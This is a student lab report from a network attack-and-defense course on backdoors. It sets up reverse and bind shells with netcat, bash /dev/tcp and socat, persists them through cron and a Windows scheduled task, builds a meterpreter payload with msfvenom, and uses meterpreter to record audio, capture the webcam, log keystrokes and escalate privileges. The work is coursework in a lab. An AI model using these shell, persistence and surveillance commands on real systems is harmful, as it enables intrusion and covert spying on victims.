2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week4 20165233
Exp2 后门原理与实践
实验内容
一、基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
答:通过访问钓鱼网站,无意下载了一些图片或是文件。而这个图片或文件中携带后门。
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:对于Windows来说:
-
用户执行了带有后门的可执行文件
-
开机自启动技术
-
win的定时服务
对于linux来说:
-
cron设置在一个指定的时间启动后门
-
通过命令行执行了一个捆绑有后门的可执行文件
3.Meterpreter有哪些给你印象深刻的功能?
答:生成一个后门的可执行文件,并将其植入被控主机;可以对被控主机进行屏幕截图、击键记录、录音以及提权等操作。
4.如何发现自己的系统有没有被安装后门?
答:(1)安装杀毒软件,可以进行实时监控;
(2)检测网络连接,查看是否有IP与本机连接。
二、实验步骤
实验点一:使用netcat获取主机操作Shell,cron启动
Mac获得Linux Shell
-
首先查看主控端Mac的IP地址为172.16.31.1
-
主控端Mac运行指令如下,5233是nc监听的端口号。
nc -l 5233
- 受控端/客户机运行指令如下。其中 IP地址为 MAC主机的IP。5233就是上一步中的端口号。
bash -i >& /dev/tcp/172.16.31.1/5233 0>&1
- MAC主机会显示Linux的命令行提示符,并运行任何Linux指令。
Linux获得Mac Shell
- Linux启动监听
nc -l -p 5233
- Mac连接Linux
bash -i >& /dev/tcp/172.16.31.134/5233 0>&1
- Linux获取Mac Shell
cron启动
-
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
-
crontab指令增加一条定时任务,
-e
表示编辑。 -
由于是第一次编辑,所以选择"3"那个编辑器,并在最后一行添加。修改后表示在每个小时的第55分钟执行后面那条指令。
-
保存、退出后配置即生效。可以通过
crontab -l
来查看,-l
表示list。
-
每个小时到了55分,上面的那条指令就会执行。
-
如果在另一台主机172.16.31.1让nc侦听在5233端口,那到了55分就会有获得一个shell。这是一个简单的反弹式后门。
实验点二:使用socat获取主机操作Shell, 任务计划启动
- Netcat++,是一种超级netcat工具。在Windows中下载解压即可使用。通过
man socat
可知其使用方法,见下图。
-
首先在win7中打开
控制面板
搜索管理工具
。 -
依次
任务计划程序
->创建任务
。
- 点击
触发器
,选择新建
,然后将开始任务设置为工作站锁定时。
- 点击
常规
,输入名称。
- 再点击
操作
,点击新建
,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5233 exec:cmd.exe,pty,stderr
(作用是把cmd.exe绑定到端口5233,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置。
- 找到刚刚创建的20165233任务,右键点击运行,此时会弹出
taskeng.exe
表明运行成功。
- 在Kali中输入
socat - tcp:10.211.55.3:5233
命令,可以成功得到一个cmd shell。
实验点三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令(此处的IP地址为Kali的)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.31.134 LPORT=5233 -f exe > 20165233_backdoor.exe
- 在Windows下执行
ncat.exe -l 5233 > 20165233_backdoor.exe
或者
ncat.exe -lv 5233 > 20165233_backdoor.exe
通过-lv
选项看到当前的连接状态,连接成功见下图。
- 在Kali中执行(这里的IP为被控主机IP,即WindowsIP)
nc 10.211.55.3 5233 < 20165233_backdoor.exe
- 下图为传送成功的可执行文件
20165233_backdoor.exe
- 在Kali上使用
msfconsole
命令进入msf控制台。
- 使用监听模块,设置payload
use exploit/multi/handler
- 使用和生成后门程序时相同的payload
set payload windows/meterpreter/reverse_tcp
- IP地址与端口号均与生成后门程序
20165233_backdoor.exe
时指定的相同
set LHOST 172.16.31.134
set LPORT 5233
- 通过
exploit
开启监听。
- 运行Windows下的后门程序
- 在Kali上便得到了Windows的shell,通过
dir
可查看与该后门程序所在的文件夹下的其他文件及其属性。
实验点四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 通过
record_mic
命令可以获取Windows的音频。
- 通过
webcam_snap
命令可以获取Windows的摄像头。(PS:这里摄像头截图是黑色的,是因为很早以前我的Mac摄像头就被我贴住了,防止偷窥,嘻嘻)
- 通过
keyscan_start
命令开始记录下击键的过程,通过keyscan_dump
命令读取击键记录。
- 通过
screenshot
命令对被控主机的屏幕进行捕捉。
- 通过
getuid
命令查看当前用户,再通过getsystem
命令进行提权。但是Mac本身不允许...
实验中遇到的问题
就是上一步遇到的问题...无法进行提权。
实验收获与感想
这次实验还蛮有意思的,就是在互相进行监听时,对于反弹后门所使用的IP地址有些混乱,必须冷静的推一下...在MSF meterpreter那里,通过各种命令对被控主机进行一系列的监听,"偷窥"之类的操作,不禁让人心里打了寒颤,黑客可以很轻易的获取到全世界各地的摄像头...所以也很早以前就把Mac的摄像头贴起来了。
通过这次实验,也透彻的了解了后门的原理,但是实际黑客的后门是更加隐蔽和难以发现的。对于后门的发现与检测也获得了一定的方法,比起以前只知道杀毒软件和防火墙要高级许多。